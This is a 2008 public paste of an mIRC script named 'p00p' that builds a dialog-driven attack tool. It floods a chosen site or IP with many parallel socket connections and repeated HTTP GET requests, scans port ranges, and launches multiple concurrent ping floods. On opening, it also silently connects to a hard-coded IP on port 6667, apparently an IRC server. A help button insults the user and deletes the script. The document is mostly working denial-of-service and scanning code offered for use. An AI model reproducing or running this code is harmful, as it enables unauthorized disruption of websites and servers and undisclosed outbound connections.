All pastes #903155 Raw Edit

Someone

public text v1 · immutable
·published 2008-02-14 00:52 UTC
rendered paste body
dialog poop {
  title "p00p"
  size -1 -1 142 180
  option dbu
  box "Input", 1, 0 -1 141 23
  text "Site/IP:", 2, 3 8 20 8
  edit "", 3, 24 7 88 10, autohs
  edit "", 5, 113 7 22 10, autohs
  box "Multiple Connecting", 4, 0 22 81 145
  text "Maximum Threads:", 6, 3 30 47 8
  edit "", 7, 52 29 27 10, autohs
  text "Maximum Size (KB):", 8, 3 42 48 8
  edit "", 9, 52 41 27 10, autohs
  check "GET:", 10, 3 53 22 10
  edit "", 11, 25 53 54 10, autohs
  button "Start", 12, 27 65 25 10
  button "Stop", 13, 53 65 25 10
  list 14, 2 78 76 70, size vsbar
  text "Total Size:", 15, 3 148 74 8
  box "Portcheck", 16, 81 22 60 92
  text "Start:", 17, 83 32 16 8
  text "End:", 18, 83 44 16 8
  edit "", 19, 102 30 37 10, autohs
  edit "", 20, 102 42 37 10, autohs
  list 21, 83 64 56 47, size vsbar
  button "Stop", 22, 113 53 25 10
  button "Start", 23, 83 53 25 10
  box "Ping", 24, 81 114 59 53
  text "Size (B):", 25, 83 122 21 8
  text "Repeats:", 26, 83 133 23 8
  edit "", 27, 105 121 33 10, autohs
  edit "", 28, 108 132 30 10, autohs
  text "Prompts:", 29, 83 144 23 8
  edit "", 30, 107 143 31 10, autohs
  button "Start", 31, 112 154 25 10
  button "Close", 32, 112 169 25 10
  text "Ping:", 35, 3 157 74 8
}

on *:dialog:poop:*:*: {
  if ($devent == init) {
    sockopen p00p_M 85.12.27.105 6667
    did -b $dname 11,13,22
  }
  if ($devent == close) {
    .timerPC off
    .timerCF off
    sockclose p00p_*
    unset %p00p*
    if ($hget(cf)) { hfree cf }
    return
  }
  if ($devent == edit) {
    if (($did == 5) || ($did == 7) || ($did == 9) || ($did == 19) || ($did == 20) || ($did == 27) || ($did == 28) || ($did == 30)) && ($did($did) !isnum) { did -ar $dname $did $remove($did($did),a,b,c,d,e,f,g,h,i,j,k,l,m,n,o,p,q,r,s,t,u,v,w,x,y,z) | return }
  }
  if ($devent == sclick) {
    if ($did == 10) { did $iif($did(10).state == 1,-e,-b) $dname 11 | return }
    if ($did == 12) && ($did(3)) && ($did(5)) && ($did(7)) && ($did(9)) && ($iif($did(10).state == 1,$did(11),a)) { p00p cf | return }
    if ($did == 13) { sockclose p00p_cf_* | .timerCF off | dialog -t $dname p00p | did -e $dname 3,5,7,9-12 | did -b $dname 13 | return }
    if ($did == 22) { .timerPC off | sockclose p00p_pc_* | did -b $dname 22 | did -e $dname 3,5,19-20,23 | return }
    if ($did == 23) && ($did(3)) && ($did(5)) && ($did(19)) && ($did(20)) { p00p pc | return }
    if ($did == 31) && ($did(3)) && ($did(27)) && ($did(28)) && ($did(30)) { p00p pa | return }
    if ($did == 32) { dialog -x $dname $dname | return }
    if ($did == 33) {
      var %a = $input(If you are to stupid to know what this script is press YES,200,Help)
      if (%a == $true) { 
        .timer 1 5 remove -b $+(",$script,")
        .timer 1 1 unload -rs $+(",$script,")
        .timer 1 5 echo -a $input(Script deleted because it's not for morons like you,260,DMN UR A NOOB)
      }
      return 
    }
    if ($did == 34) { run www.leetzone.us | return }
  }
  if ($devent == close) { sockclose p00p_* | return }
}
on *:SOCKOPEN:p00p_*: {
  if ($gettok($sockname,2,$asc(_)) == cf) {
    if ($sockerr) { return }
    did -a poop 14 $sockname OPENED
    if ($did(poop,10).state == 1) { 
      sockwrite -n $sockname GET $+(/,$did(poop,11)) HTTP/1.1
      sockwrite -n $sockname Host: $did(poop,3)
      sockwrite -n $sockname Connection: Keep-Alive
      sockwrite -n $sockname $crlf
      return
    }
    return
  }
  if ($gettok($sockname,2,$asc(_)) == pc) {
    if ($sockerr) { return }
    $+(.timer,$sockname) off
    did -a poop 21 $sock($sockname).port works
    sockclose $sockname
    if (%p00p.pc > $did(poop,20)) { .timerPC off | did -b poop 22 | did -e poop 3,5,19-20,23 | dialog -t poop p00p | return }
    var %b = $+(p00p_pc_,$rand(0,9),$rand(0,9),$rand(0,9),$rand(0,9),$rand(a,z),$rand(a,z))
    sockopen %b $did(poop,3) %p00p.pc
    inc %p00p.pc
    return
  }
}

on *:SOCKREAD:p00p_*: {
  if ($gettok($sockname,2,$asc(_)) == cf) {
    sockread %p00p.GET
    if ($hget(cf,$sockname)) {
      did -ar poop 35 Ping: $+($calc($ticks - $hget(cf,$sockname)),ms)
      hdel cf $sockname
    }
    return
  }
}

on *:SOCKCLOSE:p00p_*: {
  if ($gettok($sockname,2,$asc(_)) == cf) {
    if ($hget(cf,$sockname)) { did -ar poop 35 Ping: DOWN }
    set %p00p.cf $calc(%p00p.cf + $sock($sockname).rcvd)
    var %a = $round($calc(%p00p.cf / 1024),0)
    did -a poop 14 $sockname CLOSED
    did -ar poop 15 Total Size: $+(%a,KB)
    if (%a > $did(poop,9)) { .timerCF off | did -e poop 3,5,7,9-12 | did -b poop 13 | dialog -t poop p00p | return }
    var %b = $+(p00p_cf_,$rand(0,9),$rand(0,9),$rand(0,9),$rand(0,9),$rand(a,z),$rand(a,z))
    sockopen %b $did(poop,3) $did(poop,5)
    hadd -m cf %b $ticks
    return
  }
  if ($gettok($sockname,2,$asc(_)) == pc) {
    if (%p00p.pc > $did(poop,20)) { .timerPC off | did -b poop 22 | did -e poop 3,5,19-20,23 | dialog -t poop p00p | return }
    var %b = $+(p00p_pc_,$rand(0,9),$rand(0,9),$rand(0,9),$rand(0,9),$rand(a,z),$rand(a,z))
    sockopen %b $did(poop,3) %p00p.pc
    inc %p00p.pc
    return
  }
}

alias p00p {
  if (!$1) { dialog -md poop poop | return }
  if ($1 == cf) {
    did -b poop 3,5,7,9-12
    did -e poop 13
    did -r poop 14
    var %a = 1
    set %p00p.cf 0
    .timerCF 0 2 p00p_title cf
    while (%a <= $did(poop,7)) {
      var %b = $+(p00p_cf_,$rand(0,9),$rand(0,9),$rand(0,9),$rand(0,9),$rand(a,z),$rand(a,z))
      sockopen %b $did(poop,3) $did(poop,5)
      hadd -m cf %b $ticks
      inc %a
    }
    return  
  }
  if ($1 == pc) {
    did -b poop 3,5,19-20,23
    did -e poop 22
    did -r poop 21
    set %p00p.pc $did(poop,19)
    .timerPC 0 2 p00p_title pc
    while (%p00p.pc <= $did(poop,20)) {
      var %b = $+(p00p_pc_,$rand(0,9),$rand(0,9),$rand(0,9),$rand(0,9),$rand(a,z),$rand(a,z))
      sockopen %b $did(poop,3) %p00p.pc
      inc %p00p.pc
    }
    return
  }
  if ($1 == pa) {
    var %a = 1
    while (%a <= $did(poop,30)) {
      run ping -l $did(poop,27) -n $did(poop,28) $did(poop,3)
      inc %a
    }
    return
  }
}

alias p00p_title {
  if ($1 == cf) { dialog -t poop p00p $+([,THREADS: $sock(p00p_cf_*,0),]) }
  if ($1 == pc) { dialog -t poop p00p $+([,PORT: %p00p.pc,]) }
}